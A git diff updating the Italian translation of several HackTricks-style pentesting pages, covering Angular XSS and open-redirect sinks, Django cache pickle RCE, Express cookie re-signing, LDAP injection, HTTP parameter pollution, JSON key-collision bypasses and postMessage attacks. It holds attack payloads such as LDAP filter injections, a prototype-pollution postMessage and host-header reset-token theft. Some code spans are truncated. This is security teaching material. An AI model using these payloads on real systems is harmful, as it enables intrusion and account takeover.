 Il binding si riferisce al processo di comunicazione tra un componente e la sua vista corrispondente. Viene utilizzato per trasferire dati da e verso il framework Angular. I dati possono essere passati attraverso vari mezzi, come eventi, interpolazione, proprietà o attraverso il meccanismo di binding bidirezionale. Inoltre, i dati possono essere condivisi tra componenti correlati (relazione genitore-figlio) e tra due componenti non correlati utilizzando la funzionalità Service.
 
-Possiamo classificare il binding in base al flusso di dati:
+Possiamo classificare il binding in base al flusso dei dati:
 
-* Fonte dati a obiettivo vista (include _interpolazione_, _proprietà_, _attributi_, _classi_ e _stili_); può essere applicato utilizzando `[]` o `{{}}` nel template;
-* Obiettivo vista a fonte dati (include _eventi_); può essere applicato utilizzando `()` nel template;
+* Fonte dei dati a obiettivo della vista (include _interpolazione_, _proprietà_, _attributi_, _classi_ e _stili_); può essere applicato utilizzando `[]` o `{{}}` nel template;
+* Obiettivo della vista a fonte dei dati (include _eventi_); può essere applicato utilizzando `()` nel template;
 * Bidirezionale; può essere applicato utilizzando `[()]` nel template.
 
 Il binding può essere chiamato su proprietà, eventi e attributi, così come su qualsiasi membro pubblico di una direttiva sorgente:
@@ -77,9 +79,9 @@ Il binding può essere chiamato su proprietà, eventi e attributi, così come su
 | TYPE      | TARGET                                                   | EXAMPLES                                                             |
 | --------- | -------------------------------------------------------- | -------------------------------------------------------------------- |
 | Property  | Proprietà dell'elemento, Proprietà del componente, Proprietà della direttiva | \                      |
-| Event     | Evento dell'elemento, Evento del componente, Evento della direttiva          | \
 ```
-*   Per impostare la proprietà di un elemento DOM, puoi utilizzare il metodo `Renderer2.setProperty()` e innescare un attacco XSS:
+*   Per impostare la proprietà di un elemento DOM, puoi utilizzare il metodo `Renderer2.setProperty()` e attivare un attacco XSS:
 
 ```tsx
 //app.component.ts
@@ -377,7 +379,7 @@ Durante la nostra ricerca, abbiamo anche esaminato il comportamento di altri met
 
 jQuery è una libreria JavaScript veloce, leggera e ricca di funzionalità che può essere utilizzata nel progetto Angular per aiutare con la manipolazione degli oggetti DOM HTML. Tuttavia, come è noto, i metodi di questa libreria possono essere sfruttati per ottenere una vulnerabilità XSS. Per discutere di come alcuni metodi vulnerabili di jQuery possano essere sfruttati nei progetti Angular, abbiamo aggiunto questa sottosezione.
 
-*   Il metodo `html()` ottiene i contenuti HTML del primo elemento nel set di elementi corrispondenti o imposta i contenuti HTML di ogni elemento corrispondente. Tuttavia, per design, qualsiasi costruttore o metodo jQuery che accetta una stringa HTML può potenzialmente eseguire codice. Questo può avvenire tramite l'iniezione di tag `");
 jQuery.parseHTML(data [, context ] [, keepScripts ])
 ```
 
-Come accennato in precedenza, la maggior parte delle API jQuery che accettano stringhe HTML eseguiranno script inclusi nell'HTML. Il metodo `jQuery.parseHTML()` non esegue script nell'HTML analizzato a meno che `keepScripts` non sia esplicitamente `true`. Tuttavia, è ancora possibile nella maggior parte degli ambienti eseguire script indirettamente; ad esempio, tramite l'attributo ``.
+Come accennato in precedenza, la maggior parte delle API jQuery che accettano stringhe HTML eseguiranno script inclusi nell'HTML. Il metodo `jQuery.parseHTML()` non esegue script nell'HTML analizzato a meno che `keepScripts` non sia esplicitamente `true`. Tuttavia, è ancora possibile in molti ambienti eseguire script indirettamente; ad esempio, tramite l'attributo ``.
 
 ```tsx
 //app.component.ts
@@ -446,7 +448,7 @@ $palias.append(html);
 
 #### Interfacce DOM
 
-Secondo la documentazione W3C, gli oggetti `window.location` e `document.location` sono trattati come alias nei browser moderni. Ecco perché hanno implementazioni simili di alcuni metodi e proprietà, il che potrebbe causare un open redirect e XSS DOM con attacchi di schema `javascript://` come menzionato di seguito.
+Secondo la documentazione W3C, gli oggetti `window.location` e `document.location` sono trattati come alias nei browser moderni. Ecco perché hanno un'implementazione simile di alcuni metodi e proprietà, che potrebbero causare un open redirect e XSS DOM con attacchi di schema `javascript://` come menzionato di seguito.
 
 *   `window.location.href`(e `document.location.href`)
 
@@ -468,7 +470,7 @@ window.location.href = "https://google.com/about"
 Il processo di sfruttamento è identico per i seguenti scenari.
 *   `window.location.assign()`(e `document.location.assign()`)
 
-Questo metodo fa sì che la finestra carichi e visualizzi il documento all'URL specificato. Se abbiamo il controllo su questo metodo, potrebbe essere un sink per un attacco di open redirect.
+Questo metodo causa il caricamento e la visualizzazione del documento all'URL specificato. Se abbiamo il controllo su questo metodo, potrebbe essere un sink per un attacco di open redirect.
 
 ```tsx
 //app.component.ts
@@ -496,7 +498,7 @@ window.location.replace("http://google.com/about")
 ```
 *   `window.open()`
 
-Il metodo `window.open()` prende un URL e carica la risorsa che identifica in una nuova scheda o finestra esistente. Avere il controllo su questo metodo potrebbe anche essere un'opportunità per innescare una vulnerabilità XSS o open redirect.
+Il metodo `window.open()` prende un URL e carica la risorsa che identifica in una nuova scheda o finestra esistente. Avere il controllo su questo metodo potrebbe anche essere un'opportunità per attivare una vulnerabilità XSS o open redirect.
 
 ```tsx
 //app.component.ts
@@ -601,3 +603,7 @@ this.router.navigateByUrl('URL')
 * [Angular Document](https://angular.io/api/common/DOCUMENT)
 * [Angular Location](https://angular.io/api/common/Location)
 * [Angular Router](https://angular.io/api/router/Router)
+
+
+
+{{#include /banners/hacktricks-training.md}}
diff --git a/src/network-services-pentesting/pentesting-web/django.md b/src/network-services-pentesting/pentesting-web/django.md
index 139786780..97979f391 100644
--- a/src/network-services-pentesting/pentesting-web/django.md
+++ b/src/network-services-pentesting/pentesting-web/django.md
@@ -1,8 +1,12 @@
 # Django
 
+{{#include /banners/hacktricks-training.md}}
+
 ## Manipolazione della Cache per RCE
 Il metodo di archiviazione della cache predefinito di Django è [Python pickles](https://docs.python.org/3/library/pickle.html), che può portare a RCE se [l'input non attendibile viene de-pickled](https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_Slides.pdf). **Se un attaccante riesce a ottenere accesso in scrittura alla cache, può elevare questa vulnerabilità a RCE sul server sottostante**.
 
-La cache di Django è memorizzata in uno dei quattro luoghi: [Redis](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/redis.py#L12), [memoria](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/locmem.py#L16), [file](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/filebased.py#L16), o un [database](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/db.py#L95). La cache memorizzata in un server Redis o in un database è la più probabile vettore d'attacco (iniezione Redis e iniezione SQL), ma un attaccante potrebbe anche essere in grado di utilizzare la cache basata su file per trasformare una scrittura arbitraria in RCE. I manutentori hanno contrassegnato questo come un non-problema. È importante notare che la cartella dei file di cache, il nome della tabella SQL e i dettagli del server Redis varieranno in base all'implementazione.
+La cache di Django è memorizzata in uno dei quattro luoghi: [Redis](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/redis.py#L12), [memoria](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/locmem.py#L16), [file](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/filebased.py#L16), o un [database](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/db.py#L95). La cache memorizzata in un server Redis o in un database è la più probabile vettore di attacco (iniezione Redis e iniezione SQL), ma un attaccante potrebbe anche essere in grado di utilizzare la cache basata su file per trasformare una scrittura arbitraria in RCE. I manutentori hanno contrassegnato questo come un non-problema. È importante notare che la cartella dei file di cache, il nome della tabella SQL e i dettagli del server Redis varieranno in base all'implementazione.
 
 Questo rapporto di HackerOne fornisce un ottimo esempio riproducibile di sfruttamento della cache di Django memorizzata in un database SQLite: https://hackerone.com/reports/1415436
+
+{{#include /banners/hacktricks-training.md}}
diff --git a/src/network-services-pentesting/pentesting-web/gwt-google-web-toolkit.md b/src/network-services-pentesting/pentesting-web/gwt-google-web-toolkit.md
deleted file mode 100644
index 0d5c123ee..000000000
--- a/src/network-services-pentesting/pentesting-web/gwt-google-web-toolkit.md
+++ /dev/null
@@ -1 +0,0 @@
-# GWT - Google Web Toolkit
diff --git a/src/network-services-pentesting/pentesting-web/nodejs-express.md b/src/network-services-pentesting/pentesting-web/nodejs-express.md
index 879a25949..9b8822e22 100644
--- a/src/network-services-pentesting/pentesting-web/nodejs-express.md
+++ b/src/network-services-pentesting/pentesting-web/nodejs-express.md
@@ -1,5 +1,7 @@
 # NodeJS Express
 
+{{#include /banners/hacktricks-training.md}}
+
 ## Firma del Cookie
 
 Lo strumento [https://github.com/DigitalInterruption/cookie-monster](https://github.com/DigitalInterruption/cookie-monster) è un'utilità per automatizzare il testing e la ri-firma dei segreti dei cookie di Express.js.
@@ -8,7 +10,7 @@ Lo strumento [https://github.com/DigitalInterruption/cookie-monster](https://git
 ```bash
 cookie-monster -c eyJmb28iOiJiYXIifQ== -s LVMVxSNPdU_G8S3mkjlShUD78s4 -n session
 ```
-### Lista di parole personalizzata
+### Elenco di parole personalizzato
 ```bash
 cookie-monster -c eyJmb28iOiJiYXIifQ== -s LVMVxSNPdU_G8S3mkjlShUD78s4 -w custom.lst
 ```
@@ -26,4 +28,4 @@ Se conosci il segreto, puoi firmare il cookie.
 ```bash
 cookie-monster -e -f new_cookie.json -k secret
 ```
-
+{{#include /banners/hacktricks-training.md}}
diff --git a/src/online-platforms-with-api.md b/src/online-platforms-with-api.md
deleted file mode 100644
index 812ea7ef2..000000000
--- a/src/online-platforms-with-api.md
+++ /dev/null
@@ -1,121 +0,0 @@
-{{#include ./banners/hacktricks-training.md}}
-
-# [ProjectHoneypot](https://www.projecthoneypot.org/)
-
-Puoi chiedere se un IP è correlato ad attività sospette/maligne. Completamente gratuito.
-
-# [**BotScout**](http://botscout.com/api.htm)
-
-Controlla se l'indirizzo IP è correlato a un bot che registra account. Può anche controllare nomi utente e email. Inizialmente gratuito.
-
-# [Hunter](https://hunter.io/)
-
-Trova e verifica email.
-Alcune richieste API gratuite, per di più devi pagare.
-Commerciale?
-
-# [AlientVault](https://otx.alienvault.com/api)
-
-Trova attività maligne correlate a IP e domini. Gratuito.
-
-# [Clearbit](https://dashboard.clearbit.com/)
-
-Trova dati personali correlati a un'email \(profili su altre piattaforme\), dominio \(informazioni di base sull'azienda, email e persone che lavorano\) e aziende \(ottieni informazioni sull'azienda dall'email\).
-Devi pagare per accedere a tutte le possibilità.
-Commerciale?
-
-# [BuiltWith](https://builtwith.com/)
-
-Tecnologie utilizzate dai siti web. Costoso...
-Commerciale?
-
-# [Fraudguard](https://fraudguard.io/)
-
-Controlla se un host \(dominio o IP\) è correlato ad attività sospette/maligne. Ha un accesso API gratuito.
-Commerciale?
-
-# [FortiGuard](https://fortiguard.com/)
-
-Controlla se un host \(dominio o IP\) è correlato ad attività sospette/maligne. Ha un accesso API gratuito.
-
-# [SpamCop](https://www.spamcop.net/)
-
-Indica se l'host è correlato ad attività di spam. Ha un accesso API gratuito.
-
-# [mywot](https://www.mywot.com/)
-
-Basato su opinioni e altre metriche, verifica se un dominio è correlato a informazioni sospette/maligne.
-
-# [ipinfo](https://ipinfo.io/)
-
-Ottiene informazioni di base da un indirizzo IP. Puoi testare fino a 100K/mese.
-
-# [securitytrails](https://securitytrails.com/app/account)
-
-Questa piattaforma fornisce informazioni su domini e indirizzi IP come domini all'interno di un IP o all'interno di un server di dominio, domini posseduti da un'email \(trova domini correlati\), cronologia IP dei domini \(trova l'host dietro CloudFlare\), tutti i domini che utilizzano un nameserver....
-Hai un accesso gratuito.
-
-# [fullcontact](https://www.fullcontact.com/)
-
-Permette di cercare per email, dominio o nome dell'azienda e recuperare informazioni "personali" correlate. Può anche verificare email. C'è un accesso gratuito.
-
-# [RiskIQ](https://www.spiderfoot.net/documentation/)
-
-Molte informazioni da domini e IP anche nella versione gratuita/comunitaria.
-
-# [\_IntelligenceX](https://intelx.io/)
-
-Cerca domini, IP ed email e ottieni informazioni da dump. Ha un accesso gratuito.
-
-# [IBM X-Force Exchange](https://exchange.xforce.ibmcloud.com/)
-
-Cerca per IP e raccogli informazioni relative ad attività sospette. C'è un accesso gratuito.
-
-# [Greynoise](https://viz.greynoise.io/)
-
-Cerca per IP o intervallo di IP e ottieni informazioni sugli IP che scansionano Internet. Accesso gratuito per 15 giorni.
-
-# [Shodan](https://www.shodan.io/)
-
-Ottieni informazioni di scansione di un indirizzo IP. Ha un accesso API gratuito.
-
-# [Censys](https://censys.io/)
-
-Molto simile a shodan
-
-# [buckets.grayhatwarfare.com](https://buckets.grayhatwarfare.com/)
-
-Trova bucket S3 aperti cercando per parola chiave.
-
-# [Dehashed](https://www.dehashed.com/data)
-
-Trova credenziali trapelate di email e persino domini
-Commerciale?
-
-# [psbdmp](https://psbdmp.ws/)
-
-Cerca pastebin dove è apparsa un'email. Commerciale?
-
-# [emailrep.io](https://emailrep.io/key)
-
-Ottieni reputazione di un'email. Commerciale?
-
-# [ghostproject](https://ghostproject.fr/)
-
-Ottieni password da email trapelate. Commerciale?
-
-# [Binaryedge](https://www.binaryedge.io/)
-
-Ottieni informazioni interessanti da IP
-
-# [haveibeenpwned](https://haveibeenpwned.com/)
-
-Cerca per dominio e email e verifica se è stato compromesso e le password. Commerciale?
-
-[https://dnsdumpster.com/](https://dnsdumpster.com/)\(in uno strumento commerciale?\)
-
-[https://www.netcraft.com/](https://www.netcraft.com/) \(in uno strumento commerciale?\)
-
-[https://www.nmmapper.com/sys/tools/subdomainfinder/](https://www.nmmapper.com/) \(in uno strumento commerciale?\)
-
-{{#include ./banners/hacktricks-training.md}}
diff --git a/src/other-web-tricks.md b/src/other-web-tricks.md
deleted file mode 100644
index c391685d7..000000000
--- a/src/other-web-tricks.md
+++ /dev/null
@@ -1,41 +0,0 @@
-# Altri trucchi web
-
-{{#include ./banners/hacktricks-training.md}}
-
-### Intestazione Host
-
-Diverse volte il back-end si fida dell'**intestazione Host** per eseguire alcune azioni. Ad esempio, potrebbe utilizzare il suo valore come **dominio per inviare un ripristino della password**. Quindi, quando ricevi un'email con un link per ripristinare la tua password, il dominio utilizzato è quello che hai inserito nell'intestazione Host. Poi, puoi richiedere il ripristino della password di altri utenti e cambiare il dominio in uno controllato da te per rubare i loro codici di ripristino della password. [WriteUp](https://medium.com/nassec-cybersecurity-writeups/how-i-was-able-to-take-over-any-users-account-with-host-header-injection-546fff6d0f2).
-
-> [!WARNING]
-> Nota che è possibile che tu non debba nemmeno aspettare che l'utente clicchi sul link per ripristinare la password per ottenere il token, poiché anche **i filtri antispam o altri dispositivi/bot intermedi potrebbero cliccarci sopra per analizzarlo**.
-
-### Booleani di sessione
-
-A volte, quando completi correttamente alcune verifiche, il back-end **aggiunge semplicemente un booleano con il valore "True" a un attributo di sicurezza della tua sessione**. Poi, un endpoint diverso saprà se hai superato con successo quel controllo.\
-Tuttavia, se **superi il controllo** e alla tua sessione viene concesso quel valore "True" nell'attributo di sicurezza, puoi provare ad **accedere ad altre risorse** che **dipendono dallo stesso attributo** ma a cui **non dovresti avere permessi** di accesso. [WriteUp](https://medium.com/@ozguralp/a-less-known-attack-vector-second-order-idor-attacks-14468009781a).
-
-### Funzionalità di registrazione
-
-Prova a registrarti come un utente già esistente. Prova anche a utilizzare caratteri equivalenti (punti, molte spaziature e Unicode).
-
-### Prendere il controllo delle email
-
-Registrati con un'email, prima di confermarla cambia l'email, poi, se la nuova email di conferma viene inviata alla prima email registrata, puoi prendere il controllo di qualsiasi email. Oppure, se puoi abilitare la seconda email confermando la prima, puoi anche prendere il controllo di qualsiasi account.
-
-### Accesso al servizio interno di assistenza delle aziende che utilizzano Atlassian
-
-{{#ref}}
-https://yourcompanyname.atlassian.net/servicedesk/customer/user/login
-{{#endref}}
-
-### Metodo TRACE
-
-Gli sviluppatori potrebbero dimenticare di disabilitare varie opzioni di debug nell'ambiente di produzione. Ad esempio, il metodo HTTP `TRACE` è progettato per scopi diagnostici. Se abilitato, il server web risponderà alle richieste che utilizzano il metodo `TRACE` ripetendo nella risposta la richiesta esatta ricevuta. Questo comportamento è spesso innocuo, ma occasionalmente porta a divulgazione di informazioni, come il nome delle intestazioni di autenticazione interne che potrebbero essere aggiunte alle richieste da proxy inversi. ![Image for post](https://miro.medium.com/max/60/1*wDFRADTOd9Tj63xucenvAA.png?q=20)
-
-![Image for post](https://miro.medium.com/max/1330/1*wDFRADTOd9Tj63xucenvAA.png)
-
-{{#include ./banners/hacktricks-training.md}}
-
-### Same-Site Scripting
-
-Si verifica quando ci imbattiamo in un dominio o sottodominio che si risolve in localhost o 127.0.0.1 a causa di alcune errate configurazioni DNS. Consente a un attaccante di eludere le restrizioni di origine stessa del RFC2109 (Meccanismo di gestione dello stato HTTP) e quindi di dirottare i dati di gestione dello stato. Può anche consentire il cross-site scripting. Puoi leggere di più al riguardo [qui](https://seclists.org/bugtraq/2008/Jan/270)
diff --git a/src/pentesting-dns.md b/src/pentesting-dns.md
deleted file mode 100644
index 0caa7e0ca..000000000
--- a/src/pentesting-dns.md
+++ /dev/null
@@ -1,9 +0,0 @@
-{{#include ./banners/hacktricks-training.md}}
-
-**Ricerca ulteriori attacchi al DNS**
-
-**DNSSEC e DNSSEC3**
-
-**DNS in IPv6**
-
-{{#include ./banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/ldap-injection.md b/src/pentesting-web/ldap-injection.md
index 7038b129c..ae4b62703 100644
--- a/src/pentesting-web/ldap-injection.md
+++ b/src/pentesting-web/ldap-injection.md
@@ -1,7 +1,5 @@
 # LDAP Injection
 
-## LDAP Injection
-
 {{#include ../banners/hacktricks-training.md}}
 
 ## LDAP Injection
@@ -14,7 +12,7 @@
 ../network-services-pentesting/pentesting-ldap.md
 {{#endref}}
 
-**LDAP Injection** è un attacco che prende di mira le applicazioni web che costruiscono dichiarazioni LDAP a partire dall'input dell'utente. Si verifica quando l'applicazione **non riesce a sanitizzare correttamente** l'input, consentendo agli attaccanti di **manipolare le dichiarazioni LDAP** tramite un proxy locale, potenzialmente portando ad accessi non autorizzati o manipolazione dei dati.
+**LDAP Injection** è un attacco che prende di mira le applicazioni web che costruiscono dichiarazioni LDAP dall'input dell'utente. Si verifica quando l'applicazione **non riesce a sanitizzare correttamente** l'input, consentendo agli attaccanti di **manipolare le dichiarazioni LDAP** tramite un proxy locale, potenzialmente portando ad accessi non autorizzati o manipolazione dei dati.
 
 {{#file}}
 EN-Blackhat-Europe-2008-LDAP-Injection-Blind-LDAP-Injection.pdf
@@ -121,7 +119,7 @@ password=any
 
 ### Blind LDAP Injection
 
-Puoi forzare risposte False o True per verificare se vengono restituiti dati e confermare un possibile Blind LDAP Injection:
+Puoi forzare risposte False o True per verificare se vengono restituiti dati e confermare una possibile Blind LDAP Injection:
 ```bash
 #This will result on True, so some information will be shown
 Payload: *)(objectClass=*))(&objectClass=void
diff --git a/src/pentesting-web/parameter-pollution.md b/src/pentesting-web/parameter-pollution.md
index fbbf5bdc3..2abae07f0 100644
--- a/src/pentesting-web/parameter-pollution.md
+++ b/src/pentesting-web/parameter-pollution.md
@@ -1,54 +1,53 @@
-# Inquinamento dei Parametri | Iniezione JSON
-
-## Inquinamento dei Parametri
+# Parameter Pollution | JSON Injection
 
 {{#include ../banners/hacktricks-training.md}}
 
-## Panoramica dell'Inquinamento dei Parametri HTTP (HPP)
 
-L'Inquinamento dei Parametri HTTP (HPP) è una tecnica in cui gli attaccanti manipolano i parametri HTTP per cambiare il comportamento di un'applicazione web in modi non intenzionati. Questa manipolazione avviene aggiungendo, modificando o duplicando i parametri HTTP. L'effetto di queste manipolazioni non è direttamente visibile all'utente, ma può alterare significativamente la funzionalità dell'applicazione sul lato server, con impatti osservabili sul lato client.
+## Panoramica sull'HTTP Parameter Pollution (HPP)
 
-### Esempio di Inquinamento dei Parametri HTTP (HPP)
+L'HTTP Parameter Pollution (HPP) è una tecnica in cui gli attaccanti manipolano i parametri HTTP per cambiare il comportamento di un'applicazione web in modi non intenzionati. Questa manipolazione avviene aggiungendo, modificando o duplicando i parametri HTTP. L'effetto di queste manipolazioni non è direttamente visibile all'utente, ma può alterare significativamente la funzionalità dell'applicazione sul lato server, con impatti osservabili sul lato client.
+
+### Esempio di HTTP Parameter Pollution (HPP)
 
 Un URL di transazione di un'applicazione bancaria:
 
-- **URL Originale:** `https://www.victim.com/send/?from=accountA&to=accountB&amount=10000`
+- **URL originale:** `https://www.victim.com/send/?from=accountA&to=accountB&amount=10000`
 
 Inserendo un ulteriore parametro `from`:
 
-- **URL Manipolato:** `https://www.victim.com/send/?from=accountA&to=accountB&amount=10000&from=accountC`
+- **URL manipolato:** `https://www.victim.com/send/?from=accountA&to=accountB&amount=10000&from=accountC`
 
-La transazione potrebbe essere erroneamente addebitata a `accountC` invece di `accountA`, dimostrando il potenziale dell'HPP di manipolare transazioni o altre funzionalità come il ripristino della password, le impostazioni 2FA o le richieste di chiavi API.
+La transazione potrebbe essere erroneamente addebitata a `accountC` invece di `accountA`, dimostrando il potenziale dell'HPP di manipolare transazioni o altre funzionalità come il reset della password, le impostazioni 2FA o le richieste di chiavi API.
 
-#### **Parsing dei Parametri Specifico per Tecnologia**
+#### **Parsing dei parametri specifico per tecnologia**
 
 - Il modo in cui i parametri vengono analizzati e prioritizzati dipende dalla tecnologia web sottostante, influenzando come l'HPP può essere sfruttato.
 - Strumenti come [Wappalyzer](https://addons.mozilla.org/en-US/firefox/addon/wappalyzer/) aiutano a identificare queste tecnologie e i loro comportamenti di parsing.
 
 ### Sfruttamento di PHP e HPP
 
-**Caso di Manipolazione OTP:**
+**Caso di manipolazione OTP:**
 
-- **Contesto:** Un meccanismo di accesso che richiede una Password Usa e Getta (OTP) è stato sfruttato.
+- **Contesto:** Un meccanismo di accesso che richiede una One-Time Password (OTP) è stato sfruttato.
 - **Metodo:** Intercettando la richiesta OTP utilizzando strumenti come Burp Suite, gli attaccanti hanno duplicato il parametro `email` nella richiesta HTTP.
-- **Risultato:** L'OTP, destinato all'email iniziale, è stato invece inviato al secondo indirizzo email specificato nella richiesta manipolata. Questo difetto ha consentito l'accesso non autorizzato eludendo la misura di sicurezza prevista.
+- **Risultato:** L'OTP, destinato all'email iniziale, è stato invece inviato al secondo indirizzo email specificato nella richiesta manipolata. Questa vulnerabilità ha consentito l'accesso non autorizzato eludendo la misura di sicurezza prevista.
 
 Questo scenario evidenzia una grave svista nel backend dell'applicazione, che ha elaborato il primo parametro `email` per la generazione dell'OTP ma ha utilizzato l'ultimo per la consegna.
 
-**Caso di Manipolazione della Chiave API:**
+**Caso di manipolazione della chiave API:**
 
 - **Scenario:** Un'applicazione consente agli utenti di aggiornare la propria chiave API tramite una pagina delle impostazioni del profilo.
-- **Vettore di Attacco:** Un attaccante scopre che aggiungendo un ulteriore parametro `api_key` alla richiesta POST, può manipolare l'esito della funzione di aggiornamento della chiave API.
+- **Vettore di attacco:** Un attaccante scopre che aggiungendo un ulteriore parametro `api_key` alla richiesta POST, può manipolare l'esito della funzione di aggiornamento della chiave API.
 - **Tecnica:** Utilizzando uno strumento come Burp Suite, l'attaccante crea una richiesta che include due parametri `api_key`: uno legittimo e uno malevolo. Il server, elaborando solo l'ultima occorrenza, aggiorna la chiave API al valore fornito dall'attaccante.
 - **Risultato:** L'attaccante ottiene il controllo sulla funzionalità API della vittima, potenzialmente accedendo o modificando dati privati in modo non autorizzato.
 
 Questo esempio sottolinea ulteriormente la necessità di una gestione sicura dei parametri, specialmente in funzionalità critiche come la gestione delle chiavi API.
 
-### Parsing dei Parametri: Flask vs. PHP
+### Parsing dei parametri: Flask vs. PHP
 
 Il modo in cui le tecnologie web gestiscono i parametri HTTP duplicati varia, influenzando la loro suscettibilità agli attacchi HPP:
 
-- **Flask:** Adozione del primo valore del parametro incontrato, come `a=1` in una stringa di query `a=1&a=2`, privilegiando l'istanza iniziale rispetto ai duplicati successivi.
+- **Flask:** Adotta il primo valore del parametro incontrato, come `a=1` in una stringa di query `a=1&a=2`, privilegiando l'istanza iniziale rispetto ai duplicati successivi.
 - **PHP (su Apache HTTP Server):** Al contrario, privilegia l'ultimo valore del parametro, optando per `a=2` nell'esempio fornito. Questo comportamento può facilitare involontariamente gli exploit HPP onorando il parametro manipolato dall'attaccante rispetto all'originale.
 
 ## Inquinamento dei parametri per tecnologia
@@ -117,7 +116,7 @@ I risultati sono stati presi da [https://medium.com/@0xAwali/http-parameter-poll
 1. NON riconosce name\[].
 2. Preferisce l'ultimo parametro.
 
-## Iniezione JSON
+## JSON Injection
 
 ### Chiavi duplicate
 ```ini
@@ -127,7 +126,7 @@ Il front-end potrebbe credere alla prima occorrenza mentre il backend utilizza l
 
 ### Collisione di Chiavi: Troncamento dei Caratteri e Commenti
 
-Alcaratteri non verranno interpretati correttamente dal frontend, ma il backend li interpreterà e utilizzerà quelle chiavi, questo potrebbe essere utile per **bypassare certe restrizioni**:
+Al alcuni caratteri non verranno interpretati correttamente dal frontend, ma il backend li interpreterà e utilizzerà quelle chiavi, questo potrebbe essere utile per **bypassare certe restrizioni**:
 ```json
 {"test": 1, "test\[raw \x0d byte]": 2}
 {"test": 1, "test\ud800": 2}
@@ -143,7 +142,7 @@ Questo può anche essere usato per bypassare le restrizioni sui valori come:
 {"role": "administrator""}
 {"role": "admini\strator"}
 ```
-### **Utilizzando il Troncamento dei Commenti**
+### **Utilizzo della Troncatura dei Commenti**
 ```ini
 obj = {"description": "Duplicate with comments", "test": 2, "extra": /*, "test": 1, "extra2": */}
 ```
@@ -162,7 +161,7 @@ Serializer 2 (ad esempio, la libreria JSON-iterator di Java) produrrà:
 - `extra2 = "*/"`
 - `test = 1`
 
-In alternativa, l'uso diretto dei commenti può essere altrettanto efficace:
+In alternativa, l'uso diretto dei commenti può essere efficace:
 ```ini
 obj = {"description": "Comment support", "test": 1, "extra": "a"/*, "test": 2, "extra2": "b"*/}
 ```
@@ -195,7 +194,7 @@ può essere decodificato in più rappresentazioni, inclusi:
 0
 9223372036854775807
 ```
-Che potrebbe creare incoerenze
+Potrebbe creare incoerenze
 
 ## Riferimenti
 
diff --git a/src/pentesting-web/postmessage-vulnerabilities/README.md b/src/pentesting-web/postmessage-vulnerabilities/README.md
index 49026c1c3..bf57d2ab8 100644
--- a/src/pentesting-web/postmessage-vulnerabilities/README.md
+++ b/src/pentesting-web/postmessage-vulnerabilities/README.md
@@ -1,7 +1,5 @@
 # Vulnerabilità di PostMessage
 
-## Vulnerabilità di PostMessage
-
 {{#include ../../banners/hacktricks-training.md}}
 
 ## Invia **PostMessage**
@@ -33,7 +31,7 @@ win = open('URL-with-iframe-inside', 'hack', 'width=800,height=300,top=500');
 win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')
 ```
 Nota che **targetOrigin** può essere un '\*' o un URL come _https://company.com._\
-Nel **secondo scenario**, il **messaggio può essere inviato solo a quel dominio** (anche se l'origine dell'oggetto finestra è diversa).\
+Nella **seconda situazione**, il **messaggio può essere inviato solo a quel dominio** (anche se l'origine dell'oggetto finestra è diversa).\
 Se viene utilizzato il **carattere jolly**, i **messaggi possono essere inviati a qualsiasi dominio**, e saranno inviati all'origine dell'oggetto Window.
 
 ### Attacco a iframe e carattere jolly in **targetOrigin**
@@ -84,7 +82,7 @@ Per **trovare i listener di eventi** nella pagina corrente puoi:
 
 ![](<../../images/image (396).png>)
 
-- Utilizzare un **estensione del browser** come [**https://github.com/benso-io/posta**](https://github.com/benso-io/posta) o [https://github.com/fransr/postMessage-tracker](https://github.com/fransr/postMessage-tracker). Queste estensioni del browser **intercetteranno tutti i messaggi** e te li mostreranno.
+- Usa un **estensione del browser** come [**https://github.com/benso-io/posta**](https://github.com/benso-io/posta) o [https://github.com/fransr/postMessage-tracker](https://github.com/fransr/postMessage-tracker). Queste estensioni del browser **intercetteranno tutti i messaggi** e te li mostreranno.
 
 ### Bypass dei controlli di origine
 
@@ -95,7 +93,7 @@ Per **trovare i listener di eventi** nella pagina corrente puoi:
 "https://app-sj17.marketo.com".indexOf("https://app-sj17.ma")
 ```
 
-- Il metodo **`search()`** di `String.prototype.search()` è destinato alle espressioni regolari, non alle stringhe. Passare qualsiasi cosa diversa da una regexp porta a una conversione implicita in regex, rendendo il metodo potenzialmente insicuro. Questo perché in regex, un punto (.) funge da carattere jolly, consentendo di bypassare la validazione con domini appositamente creati. Ad esempio:
+- Il metodo **`search()`** di `String.prototype.search()` è destinato alle espressioni regolari, non alle stringhe. Passare qualsiasi cosa diversa da una regexp porta a una conversione implicita in regex, rendendo il metodo potenzialmente insicuro. Questo perché in regex, un punto (.) agisce come un carattere jolly, consentendo di bypassare la validazione con domini appositamente creati. Ad esempio:
 
 ```javascript
 "https://www.safedomain.com".search("www.s.fedomain.com")
@@ -113,7 +111,7 @@ message: "'\"\\",
 result.message // "'"<b>\"
 ```
 
-- Bypassare l'escape:
+- Bypassando l'escape:
 
 ```javascript
 result = u(new Error("'\"\\"))
@@ -124,13 +122,13 @@ Nel contesto di questa vulnerabilità, l'oggetto `File` è notevolmente sfruttab
 
 - La proprietà `document.domain` in JavaScript può essere impostata da uno script per accorciare il dominio, consentendo un'applicazione più rilassata della politica di stessa origine all'interno dello stesso dominio padre.
 
-### e.origin == window.origin bypass
+### bypass di e.origin == window.origin
 
-Quando si incorpora una pagina web all'interno di un **iframe sandboxed** utilizzando %%%%%%, è cruciale comprendere che l'origine dell'iframe sarà impostata su null. Questo è particolarmente importante quando si trattano **attributi sandbox** e le loro implicazioni sulla sicurezza e funzionalità.
+Quando si incorpora una pagina web all'interno di un **iframe sandboxed** utilizzando %%%%%%, è fondamentale comprendere che l'origine dell'iframe sarà impostata su null. Questo è particolarmente importante quando si trattano **attributi sandbox** e le loro implicazioni sulla sicurezza e sulla funzionalità.
 
